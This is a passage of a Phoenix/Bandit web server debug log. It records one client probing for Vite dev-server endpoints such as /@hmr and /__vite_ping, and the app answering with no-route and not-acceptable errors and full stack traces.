[Sat Sep  5 01:59:19.931000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19470] GET /vite/hmr.js
[Sat Sep  5 01:59:19.969000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19470] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:20.069000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19468] GET /vite/hmr.mjs
[Sat Sep  5 01:59:20.088000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19468] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:20.222000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] GET /@hmr
[Sat Sep  5 01:59:20.236000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28872] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:20.410000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19468] GET /@hmr.js
[Sat Sep  5 01:59:20.425000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19468] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:20.720000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19468] GET /@hmr.mjs
[Sat Sep  5 01:59:20.734000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19468] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:21.055000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19468] GET /__hmrClient
[Sat Sep  5 01:59:21.068000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19468] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:21.097000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19470] GET /__hmrClient.js
[Sat Sep  5 01:59:21.127000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19470] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:21.351000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19482] GET /__hmrClient.mjs
[Sat Sep  5 01:59:21.369000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19482] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:21.544000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 01:59:21.815000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /
[Sat Sep  5 01:59:21.815000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:57272] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:21.816000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] Sent 200 in 790µs
[Sat Sep  5 01:59:22.659000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 01:59:22.895000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /
[Sat Sep  5 01:59:22.895000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49262] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:22.896000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] Sent 200 in 1ms
[Sat Sep  5 01:59:23.067000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19486] GET /
[Sat Sep  5 01:59:23.067000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:19486] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:23.068000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19486] Sent 200 in 1ms
[Sat Sep  5 01:59:23.664000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19490] GET /
[Sat Sep  5 01:59:23.664000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:19490] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:23.665000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19490] Sent 200 in 959µs
[Sat Sep  5 01:59:29.628000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 01:59:29.913000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /
[Sat Sep  5 01:59:29.914000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:47208] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:29.914000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] Sent 200 in 796µs
[Sat Sep  5 01:59:30.014000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /
[Sat Sep  5 01:59:30.014000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49262] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "e0248407a1828b65"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:30.016000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] Sent 200 in 1ms
[Sat Sep  5 01:59:30.100000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33338] GET /
[Sat Sep  5 01:59:30.100000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33338] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "e0248407a1828b65"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:30.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33338] Sent 406 in 13ms
[Sat Sep  5 01:59:30.115000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33338] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:30.251000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /
[Sat Sep  5 01:59:30.252000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:47208] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "b36e7feb34a68e7f"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:30.252000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] Sent 200 in 847µs
[Sat Sep  5 01:59:30.302000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47218] GET /
[Sat Sep  5 01:59:30.302000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:47218] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "b36e7feb34a68e7f"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:30.314000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47218] Sent 406 in 12ms
[Sat Sep  5 01:59:30.316000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47218] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:30.454000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /__vitesweep_ping_control_e0248407a1828b65
[Sat Sep  5 01:59:30.469000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:49262] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_e0248407a1828b65 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:30.498000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33352] GET /__vite_ping
[Sat Sep  5 01:59:30.514000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33352] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:30.913000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /__vitesweep_ping_control_b36e7feb34a68e7f
[Sat Sep  5 01:59:30.934000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47208] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_b36e7feb34a68e7f (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:30.963000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47234] GET /__vite_ping
[Sat Sep  5 01:59:30.987000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47234] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
